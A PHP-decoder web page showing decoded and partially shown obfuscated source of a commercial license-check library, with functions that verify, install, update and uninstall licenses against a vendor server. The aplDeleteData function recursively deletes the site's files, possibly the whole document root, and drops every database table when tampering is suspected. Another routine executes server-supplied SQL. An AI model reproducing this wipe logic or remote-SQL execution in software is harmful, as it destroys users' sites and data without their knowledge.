Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
function aplCheckData($MYSQLI_LINK = null) { $error_detected = 0; $cracking_det..
Decoded Output download
<? function aplCheckData($MYSQLI_LINK = null)
{
$error_detected = 0;
$cracking_detected = 0;
$data_check_result = false;
extract(aplGetLicenseData($MYSQLI_LINK));
if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD))) {
goto rN35T;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr($ROOT_URL, -1)))) {
goto G902n;
}
$error_detected = 1;
G902n:
if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}/", 1, 1, 0, 1)) === false)) {
goto KxSke;
}
$error_detected = 1;
KxSke:
if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE))) {
goto D832H;
}
$error_detected = 1;
D832H:
if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)))) {
goto X0LzY;
}
$error_detected = 1;
X0LzY:
if (aplVerifyDateTime($LCD, "Y-m-d")) {
goto MskKT;
}
$error_detected = 1;
MskKT:
if (aplVerifyDateTime($LRD, "Y-m-d")) {
goto yvOpY;
}
$error_detected = 1;
yvOpY:
if (!(aplVerifyDateTime($LCD, "Y-m-d") && $LCD > date("Y-m-d", strtotime("+1 day")))) {
goto ui35O;
}
$error_detected = 1;
$cracking_detected = 1;
ui35O:
if (!(aplVerifyDateTime($LRD, "Y-m-d") && $LRD > date("Y-m-d", strtotime("+1 day")))) {
goto P9NMC;
}
$error_detected = 1;
$cracking_detected = 1;
P9NMC:
if (!(aplVerifyDateTime($LCD, "Y-m-d") && aplVerifyDateTime($LRD, "Y-m-d") && $LCD > $LRD)) {
goto AJE6o;
}
$error_detected = 1;
$cracking_detected = 1;
AJE6o:
if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "YES")) {
goto VqFq8;
}
aplDeleteData($MYSQLI_LINK);
VqFq8:
if (!($error_detected != 1 && $cracking_detected != 1)) {
goto zPVNP;
}
$data_check_result = true;
zPVNP:
rN35T:
return $data_check_result;
}
function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
$notifications_array = array();
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/verify_envato_purchase.php", "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&connection_hash=" . rawurlencode(hash("sha256", "verify_envato_purchase")));
if (!empty($content_array)) {
goto ERDNM;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto K0hHw;
ERDNM:
if (!($content_array["body"] != "<verify_envato_purchase>OK</verify_envato_purchase>")) {
goto c1hve;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;
c1hve:
K0hHw:
return $notifications_array;
}
function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto OfhzV;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto ch7kw;
OfhzV:
if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK))) {
goto tELdB;
}
$INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_install.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok")) {
goto owzQp;
}
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE")) {
goto Ztdsz;
}
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"]))) {
goto k8lmC;
}
$mysql_bad_array = array("%APL_DATABASE_TABLE%", "%ROOT_URL%", "%CLIENT_EMAIL%", "%LICENSE_CODE%", "%LCD%", "%LRD%", "%INSTALLATION_KEY%", "%INSTALLATION_HASH%");
$mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH);
$license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["notification_data"]["scheme_query"]);
mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK));
k8lmC:
Ztdsz:
if (!(APL_STORAGE == "FILE")) {
goto b2e1H;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>");
if (!($fwrite === false)) {
goto xCqTM;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
xCqTM:
@fclose($handle);
b2e1H:
owzQp:
goto lqNfV;
tELdB:
$notifications_array["notification_case"] = "notification_already_installed";
$notifications_array["notification_text"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
lqNfV:
ch7kw:
return $notifications_array;
}
function preparePackageInstallation($installable)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (!empty($apl_core_notifications)) {
goto R78TW;
}
$MYSQLI_LINK = getMysqliConnection();
$core_license = aplGetLicenseData($MYSQLI_LINK);
if (!(empty($core_license) || !is_array($core_license))) {
goto I6jYA;
}
throw new \Exception("Core script license " . "validation" . " failed! Please contact" . " support for help.");
I6jYA:
$CLIENT_EMAIL = $core_license["CLIENT_EMAIL"];
$LICENSE_CODE = $installable["license_key"];
$ROOT_URL = config("app.url");
$INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
$post_info = "product_id=" . rawurlencode($installable["id"]) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_install.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]);
if ($notifications_array["notification_case"] == "notification_license_ok") {
goto JHgYB;
}
if (empty($notifications_array["notification_text"])) {
goto HFC_3;
}
throw new \Exception("License " . "validation" . " failed! " . $notifications_array["notification_text"]);
HFC_3:
goto gvG_i;
JHgYB:
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]);
if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"]))) {
goto Zp2j0;
}
return ["installation_key" => $INSTALLATION_KEY, "installation_hash" => $INSTALLATION_HASH, "lcd" => $LCD, "lrd" => $LRD];
Zp2j0:
gvG_i:
R78TW:
throw new \Exception("License " . "validation" . " failed! Please contact" . " support for help.");
}
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
$notifications_array = array();
$update_lrd_value = 0;
$update_lcd_value = 0;
$updated_records = 0;
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto dvmK2;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto LIU2c;
dvmK2:
if (aplCheckData($MYSQLI_LINK)) {
goto O2nSC;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto SsABv;
O2nSC:
extract(aplGetLicenseData($MYSQLI_LINK));
if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("Y-m-d")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && $FORCE_VERIFICATION === 0) {
goto QKndy;
}
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_verify.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok")) {
goto rxeCG;
}
$update_lcd_value = 1;
rxeCG:
if (!($notifications_array["notification_case"] == "notification_license_cancelled" && APL_DELETE_CANCELLED == "YES")) {
goto gNsIU;
}
aplDeleteData($MYSQLI_LINK);
gNsIU:
goto hQyRq;
QKndy:
$notifications_array["notification_case"] = "notification_license_ok";
$notifications_array["notification_text"] = APL_NOTIFICATION_BYPASS_VERIFICATION;
hQyRq:
if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("Y-m-d"))) {
goto pUhtQ;
}
$update_lrd_value = 1;
pUhtQ:
if (!($update_lrd_value == 1 || $update_lcd_value == 1)) {
goto FfXp1;
}
if ($update_lcd_value == 1) {
goto eqAbZ;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
goto vy21M;
eqAbZ:
$LCD = date("Y-m-d");
vy21M:
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE")) {
goto pY1cA;
}
$stmt = mysqli_prepare($MYSQLI_LINK, "UPDATE " . APL_DATABASE_TABLE . " SET LCD=?, LRD=?, INSTALLATION_KEY=?");
if (!$stmt) {
goto XgM2K;
}
mysqli_stmt_bind_param($stmt, "sss", $LCD, $LRD, $INSTALLATION_KEY);
$exec = mysqli_stmt_execute($stmt);
$affected_rows = mysqli_stmt_affected_rows($stmt);
if (!($affected_rows > 0)) {
goto peEvw;
}
$updated_records = $updated_records + $affected_rows;
peEvw:
mysqli_stmt_close($stmt);
XgM2K:
if (!($updated_records < 1)) {
goto kM3Fg;
}
echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
exit;
kM3Fg:
pY1cA:
if (!(APL_STORAGE == "FILE")) {
goto RwUvp;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>");
if (!($fwrite === false)) {
goto hdzPp;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
hdzPp:
@fclose($handle);
RwUvp:
FfXp1:
SsABv:
LIU2c:
if (!($notifications_array["notification_case"] != "notification_license_ok")) {
goto k5osg;
}
echo "<br/><br/>";
echo "License is not" . " installed yet" . " or corrupted. Please" . " contact" . " support " . "team ";
echo " <a href="" . get_license_reset_url() . "">" . trans("app.update_app_license") . "</a>";
exit;
k5osg:
return $notifications_array;
}
function aplVerifySupport($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto oCoBa;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto CTl29;
oCoBa:
if (aplCheckData($MYSQLI_LINK)) {
goto JaMI6;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto K9SUE;
JaMI6:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_support.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
K9SUE:
CTl29:
return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto Q521a;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto phIiC;
Q521a:
if (aplCheckData($MYSQLI_LINK)) {
goto t_vjp;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto DSELh;
t_vjp:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_updates.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
DSELh:
phIiC:
return $notifications_array;
}
function incevioUpdateLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto PELZp;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto Eg8ps;
PELZp:
if (aplCheckData($MYSQLI_LINK)) {
goto wOnMQ;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto Qt26v;
wOnMQ:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_update.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
Qt26v:
Eg8ps:
return $notifications_array;
}
function incevioUninstallLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto PdMSN;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto vHogj;
PdMSN:
if (aplCheckData($MYSQLI_LINK)) {
goto tXGWg;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto PgzLD;
tXGWg:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_uninstall.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok")) {
goto NqBJr;
}
if (!(APL_STORAGE == "DATABASE")) {
goto giMzL;
}
mysqli_query($MYSQLI_LINK, "DELETE FROM " . APL_DATABASE_TABLE);
mysqli_query($MYSQLI_LINK, "DROP TABLE " . APL_DATABASE_TABLE);
giMzL:
if (!(APL_STORAGE == "FILE")) {
goto ek5ql;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
@fclose($handle);
ek5ql:
NqBJr:
PgzLD:
vHogj:
return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
if (APL_GOD_MODE == "YES" && isset($_SERVER["DOCUMENT_ROOT"])) {
goto QSiav;
}
$root_directory = dirname(__DIR__);
goto up2V8;
QSiav:
$root_directory = $_SERVER["DOCUMENT_ROOT"];
up2V8:
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) {
$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
FUJhN:
}
onx_1:
rmdir($root_directory);
if (!(APL_STORAGE == "DATABASE")) {
goto bU4pL;
}
$database_tables_array = array();
$table_list_results = mysqli_query($MYSQLI_LINK, "SHOW TABLES");
JGR7g:
if (!($table_list_row = mysqli_fetch_row($table_list_results))) {
goto KZysa;
}
$database_tables_array[] = $table_list_row[0];
goto JGR7g;
KZysa:
if (empty($database_tables_array)) {
goto iFLX3;
}
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "DELETE FROM {$table_name}");
NV7x0:
}
CAqxf:
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "DROP TABLE {$table_name}");
PWRY7:
}
Un_Vt:
iFLX3:
bU4pL:
exit;
} ?>
Did this file decode correctly?
Original Code
function aplCheckData($MYSQLI_LINK = null)
{
$error_detected = 0;
$cracking_detected = 0;
$data_check_result = false;
extract(aplGetLicenseData($MYSQLI_LINK));
if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD))) {
goto rN35T;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr($ROOT_URL, -1)))) {
goto G902n;
}
$error_detected = 1;
G902n:
if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}\x2f", 1, 1, 0, 1)) === false)) {
goto KxSke;
}
$error_detected = 1;
KxSke:
if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("\x73\x68\x61\62\x35\x36", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE))) {
goto D832H;
}
$error_detected = 1;
D832H:
if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)))) {
goto X0LzY;
}
$error_detected = 1;
X0LzY:
if (aplVerifyDateTime($LCD, "\131\x2d\155\x2d\x64")) {
goto MskKT;
}
$error_detected = 1;
MskKT:
if (aplVerifyDateTime($LRD, "\131\55\x6d\55\x64")) {
goto yvOpY;
}
$error_detected = 1;
yvOpY:
if (!(aplVerifyDateTime($LCD, "\131\x2d\x6d\55\144") && $LCD > date("\131\55\155\55\144", strtotime("\x2b\x31\40\144\x61\x79")))) {
goto ui35O;
}
$error_detected = 1;
$cracking_detected = 1;
ui35O:
if (!(aplVerifyDateTime($LRD, "\131\x2d\155\55\144") && $LRD > date("\131\55\155\55\x64", strtotime("\53\61\x20\144\x61\x79")))) {
goto P9NMC;
}
$error_detected = 1;
$cracking_detected = 1;
P9NMC:
if (!(aplVerifyDateTime($LCD, "\x59\x2d\155\55\144") && aplVerifyDateTime($LRD, "\x59\55\155\x2d\144") && $LCD > $LRD)) {
goto AJE6o;
}
$error_detected = 1;
$cracking_detected = 1;
AJE6o:
if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "\x59\x45\123")) {
goto VqFq8;
}
aplDeleteData($MYSQLI_LINK);
VqFq8:
if (!($error_detected != 1 && $cracking_detected != 1)) {
goto zPVNP;
}
$data_check_result = true;
zPVNP:
rN35T:
return $data_check_result;
}
function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
$notifications_array = array();
$content_array = aplCustomPost(APL_ROOT_URL . "\57\x61\x70\x6c\x5f\143\141\x6c\154\142\141\143\153\x73\57\x76\145\x72\x69\146\x79\x5f\145\156\166\x61\x74\x6f\x5f\x70\165\x72\x63\150\x61\x73\145\56\x70\x68\x70", "\x70\162\x6f\x64\165\143\x74\x5f\151\144\x3d" . rawurlencode(APL_PRODUCT_ID) . "\46\x6c\x69\143\x65\156\163\x65\x5f\x63\x6f\x64\145\x3d" . rawurlencode($LICENSE_CODE) . "\46\143\x6f\156\156\145\x63\164\x69\x6f\156\x5f\x68\x61\163\x68\x3d" . rawurlencode(hash("\163\150\x61\x32\x35\x36", "\166\145\162\x69\146\x79\137\x65\x6e\x76\141\164\157\x5f\x70\165\x72\143\x68\x61\x73\x65")));
if (!empty($content_array)) {
goto ERDNM;
}
$notifications_array["\156\157\x74\151\x66\x69\143\141\x74\151\x6f\x6e\x5f\x63\x61\163\145"] = "\156\x6f\x74\x69\146\x69\x63\x61\x74\x69\157\x6e\x5f\156\x6f\137\x63\157\156\156\x65\x63\164\151\x6f\156";
$notifications_array["\x6e\157\164\151\x66\x69\143\141\164\x69\x6f\x6e\x5f\164\145\x78\x74"] = APL_NOTIFICATION_NO_CONNECTION;
goto K0hHw;
ERDNM:
if (!($content_array["\142\157\144\x79"] != "\x3c\166\145\162\x69\x66\x79\137\x65\156\166\141\164\157\x5f\x70\165\x72\143\150\x61\x73\x65\76\x4f\x4b\x3c\57\166\x65\162\151\146\171\137\145\156\166\141\x74\157\x5f\x70\165\162\x63\x68\x61\x73\145\x3e")) {
goto c1hve;
}
$notifications_array["\156\x6f\164\151\x66\x69\x63\141\164\x69\x6f\156\137\143\141\x73\145"] = "\x6e\157\164\151\x66\x69\x63\141\x74\151\x6f\x6e\137\151\156\166\x61\x6c\x69\144\x5f\x72\x65\163\160\157\156\x73\x65";
$notifications_array["\156\x6f\164\151\146\x69\143\x61\164\x69\x6f\156\137\x74\145\x78\164"] = APL_NOTIFICATION_INVALID_RESPONSE;
c1hve:
K0hHw:
return $notifications_array;
}
function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto OfhzV;
}
$notifications_array["\156\157\x74\151\x66\x69\143\141\164\151\157\156\x5f\x63\141\163\x65"] = "\156\x6f\x74\x69\146\151\143\x61\x74\151\x6f\x6e\137\163\x63\x72\151\x70\164\137\143\x6f\x72\x72\165\x70\164\x65\x64";
$notifications_array["\x6e\157\x74\x69\146\x69\143\141\164\x69\157\x6e\137\164\145\x78\164"] = implode("\73\40", $apl_core_notifications);
goto ch7kw;
OfhzV:
if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK))) {
goto tELdB;
}
$INSTALLATION_HASH = hash("\x73\150\141\62\65\x36", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
$post_info = "\x70\x72\x6f\144\165\x63\164\137\151\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\46\143\x6c\151\145\x6e\164\x5f\x65\x6d\141\151\154\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\154\x69\x63\x65\x6e\163\x65\137\x63\157\144\145\x3d" . rawurlencode($LICENSE_CODE) . "\x26\x72\157\157\164\x5f\x75\x72\x6c\75" . rawurlencode($ROOT_URL) . "\46\151\x6e\x73\x74\x61\x6c\x6c\x61\164\151\x6f\156\137\x68\141\163\x68\75" . rawurlencode($INSTALLATION_HASH) . "\x26\154\151\143\145\156\163\x65\x5f\163\151\x67\x6e\141\x74\165\162\x65\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\57\x61\160\x6c\x5f\x63\x61\154\154\x62\x61\x63\x6b\163\x2f\154\x69\143\x65\x6e\x73\145\137\x69\156\163\x74\141\154\x6c\56\160\150\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["\x6e\157\164\x69\x66\x69\x63\x61\x74\x69\157\156\x5f\143\x61\x73\145"] == "\156\x6f\164\151\x66\x69\x63\141\164\151\157\156\x5f\154\151\143\x65\156\163\145\x5f\x6f\x6b")) {
goto owzQp;
}
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\x59\55\x6d\x2d\144"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt(date("\x59\x2d\x6d\55\x64", strtotime("\x2d" . APL_DAYS . "\40\144\141\171\x73")), APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("\131\55\x6d\x2d\144"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "\104\x41\124\x41\x42\101\123\105")) {
goto Ztdsz;
}
$content_array = aplCustomPost(APL_ROOT_URL . "\57\x61\x70\154\137\x63\x61\x6c\x6c\x62\141\x63\153\x73\x2f\154\151\143\x65\156\x73\x65\x5f\x73\x63\150\x65\155\x65\56\x70\150\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
